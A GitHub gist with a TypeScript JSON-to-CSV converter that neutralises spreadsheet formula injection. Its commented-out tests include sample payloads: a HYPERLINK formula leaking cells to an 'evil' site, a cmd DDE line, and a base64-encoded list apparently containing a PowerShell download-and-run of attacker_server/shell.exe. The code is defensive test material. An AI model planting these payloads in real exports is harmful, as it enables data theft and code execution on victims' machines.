Last active
June 8, 2023 08:49
-
-
Save yonixw/40a96571fad84032d676c8e15ba17245 to your computer and use it in GitHub Desktop.
Json2CSV against injections
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const csv_safe_quote = '"'; | |
const csv_safe_escapedQuote = '""""'; | |
function safe_csv_item(item:any) : string { | |
try { | |
if (item === "") { | |
return '""' | |
} | |
// Force string: | |
item = typeof item === "string" ? item: `${item}`; | |
let isNumber = /^[0-9\+\-\.\,]+$/.test(item); | |
if (isNumber) { | |
return `"${item}"`; | |
} | |
else { | |
// https://github.com/mrodrig/json-2-csv/blob/ab9e1d0f5472002cc50262848e1649dcacc0c384/src/json2csv.ts#L337 | |
item = item.replace(/^[=+\-@\t\r]+/g, ''); | |
// https://github.com/juanjoDiaz/json2csv/blob/main/packages/formatters/src/stringExcel.ts | |
item = `"=""${item.replace(new RegExp(csv_safe_quote, 'g'), csv_safe_escapedQuote)}"""` | |
return item; | |
} | |
} | |
catch(e) { | |
return "[CSV-ERR]" | |
} | |
} | |
function isNully(x: any) { | |
return x == undefined || x == null || (typeof x == "number" && isNaN(x)) | |
} | |
export function safe_csv_fromObjList(list: Array<{[key:string]:any}>, headerKeys : string[]|null = null, newline = "\r\n") : string { | |
try { | |
if (!list || !Array.isArray(list)) { | |
return "[CSV-NON-ARR]" | |
} | |
list = list || []; | |
let result = ""; | |
// de-dupe keys | |
let keySet = new Set<string>(); | |
list.forEach(item=> | |
Object.keys(item||{}).forEach( | |
key=>keySet.add(key) | |
) | |
) | |
// Make header object | |
let keys: string[] = headerKeys || [...keySet.values()]; | |
let header = headerKeys || Object.fromEntries( keys.map(e=>[e,1]) ); | |
// Make new list | |
let safeList = list.map(item=> | |
keys.map(key=> | |
safe_csv_item(isNully(item[key]) ? '' : item[key]) | |
).join(',') | |
) | |
// Make safe key header | |
let safeHeader = keys.map(key=>safe_csv_item(key)).join(',') | |
result = safeHeader + newline + safeList.join(newline); | |
return result; | |
} | |
catch(e) { | |
return "[CSV-LST-ERR]" | |
} | |
} | |
/* | |
console.log('________________________________________') | |
console.log(safe_csv_fromObjList( | |
[{a:1},{b:2},{a:33,b:5}] | |
)) | |
console.log('________________________________________') | |
console.log(safe_csv_fromObjList([{ | |
"_id": "aaaaaaaaa000000000", | |
"createdAt": 1232153632759, | |
"updatedAt": 1275063311561, | |
"username": "yoni", | |
"firstName": "=HYPERLINK(“http://MyExtremelyEvilSite.com?leak=”&A1&” “&B1)", | |
"lastName": "=cmd|'/C calc'!A0", | |
"__typename": "Profile", | |
"roles3": "Admin", | |
"emails.address": "[email protected]", | |
"__typename": "EmailRecord", | |
"ssoLogin": "", | |
"phone": "", | |
}])) | |
console.log('________________________________________') | |
// https://github.com/payloadbox/csv-injection-payloads/blob/master/Intruder/csv-payload.txt | |
// See also: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CSV%20Injection/README.md | |
const example_csv_payloads = "RERFICgiY21kIjsiL0MgY2FsYyI7IiFBMCIpQTAKQFNVTSgxKzkpKmNtZHwnIC9DIGNhbGMnIUEwCj0xMC" + | |
"syMCtjbWR8JyAvQyBjYWxjJyFBMAo9Y21kfCcgL0Mgbm90ZXBhZCchJ0ExJwo9Y21kfCcvQyBwb3dlcnNoZWxsIElFWCh3Z2V0IGF0dGFja2" + | |
"VyX3NlcnZlci9zaGVsbC5leGUpJyFBMAo9Y21kfCcvYyBydW5kbGwzMi5leGUgXFwxMC4wLjAuMVwzXDJcMS5kbGwsMCchX3hsYmdubS5BMQ==" | |
console.log(safe_csv_fromObjList([ | |
... atob(example_csv_payloads).split(/\r?\n/).map(e=>({payload:e})) | |
])) | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment